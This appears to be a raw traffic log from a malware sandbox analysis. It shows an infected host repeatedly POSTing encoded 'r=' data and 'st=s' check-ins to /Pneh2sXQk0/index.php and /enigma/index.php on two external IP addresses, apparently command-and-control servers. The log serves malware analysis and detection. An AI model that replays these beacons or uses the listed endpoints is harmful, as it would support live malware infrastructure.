Apr 19, 2024 03:36:11.861920118 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:12.107544899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.5	51209	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:11.996154070 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:12.245441914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.5	51210	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:12.438359976 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:12.677223921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.5	51211	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:12.585504055 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:12.831057072 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.5	51212	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:12.929544926 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:13.181548119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.5	51213	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:13.079039097 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:13.327615023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.5	51214	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:13.507913113 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:13.750281096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.5	51215	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:13.667525053 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:13.915930986 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.5	51216	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:14.002882004 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:14.254292011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.5	51217	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:14.162364006 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:14.410401106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.5	51218	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:14.589596033 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:14.843703985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.5	51219	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:14.756815910 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:15.004563093 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.5	51220	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:15.095187902 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:15.347683907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.5	51221	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:15.253256083 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:15.503249884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.5	51222	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:15.684547901 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:15.935569048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.5	51223	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:15.854589939 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:16.101836920 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.5	51224	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:16.192755938 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:16.443315983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.5	51225	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:16.358067036 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:16.611038923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.5	51226	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:16.774476051 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:17.018140078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.5	51227	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:16.948791027 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:17.195646048 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.5	51228	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:17.267703056 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:17.514614105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.5	51230	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:17.559027910 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:17.807255030 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.5	51231	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:17.851099968 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:18.096894026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.5	51232	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:18.056127071 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:18.305314064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.5	51233	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
